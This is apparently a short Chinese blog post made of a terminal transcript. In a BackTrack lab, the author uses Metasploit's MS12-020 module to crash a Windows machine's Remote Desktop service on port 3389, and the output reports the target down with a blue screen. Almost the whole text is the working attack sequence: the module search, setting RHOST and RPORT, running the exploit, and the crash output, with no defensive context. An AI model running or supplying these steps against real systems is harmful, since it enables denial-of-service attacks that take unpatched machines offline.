本机 192.168.0.167 目标机 192.168.0.246
root@bt:~# ifconfig
eth1 Link encap:以太网 硬件地址 00:0c:29:40:22:04
inet 地址:192.168.0.167 广播:192.168.0.255 掩码:255.255.255.0
inet6 地址: fe80::20c:29ff:fe40:2204/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 跃点数:1
接收数据包:196 错误:0 丢弃:0 过载:0 帧数:0
发送数据包:18 错误:0 丢弃:0 过载:0 载波:0
碰撞:0 发送队列长度:1000
接收字节:15200 (15.2 KB) 发送字节:2736 (2.7 KB)
中断:19 基本地址:0x2000
lo Link encap:本地环回
inet 地址:127.0.0.1 掩码:255.0.0.0
inet6 地址: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 跃点数:1
接收数据包:15 错误:0 丢弃:0 过载:0 帧数:0
发送数据包:15 错误:0 丢弃:0 过载:0 载波:0
碰撞:0 发送队列长度:0
接收字节:953 (953.0 B) 发送字节:953 (953.0 B)
root@bt:~# msfconsole
# cowsay++
____________
< metasploit >
------------
\ ,__,
\ (oo)____
(__) )\
||--|| *
=[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 927 exploits - 499 auxiliary - 151 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops
msf > search ms12_020
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/dos/windows/rdp/ms12_020_maxchannelids 2012-03-16 00:00:00 UTC normal MS12-020 Microsoft Remote Desktop Use-After-Free DoS
msf > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
msf auxiliary(ms12_020_maxchannelids) > set RHOST 192.168.0.246
RHOST => 192.168.0.246
msf auxiliary(ms12_020_maxchannelids) > set RPORT 3389
RPORT => 3389
msf auxiliary(ms12_020_maxchannelids) > exploit
[*] 192.168.0.246:3389 - Sending MS12-020 Microsoft Remote Desktop Use-After-Free DoS
[*] 192.168.0.246:3389 - 210 bytes sent
[*] 192.168.0.246:3389 - Checking RDP status...
[+] 192.168.0.246:3389 seems down 判断目标蓝屏
[*] Auxiliary module execution completed
msf auxiliary(ms12_020_maxchannelids) >
1833
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
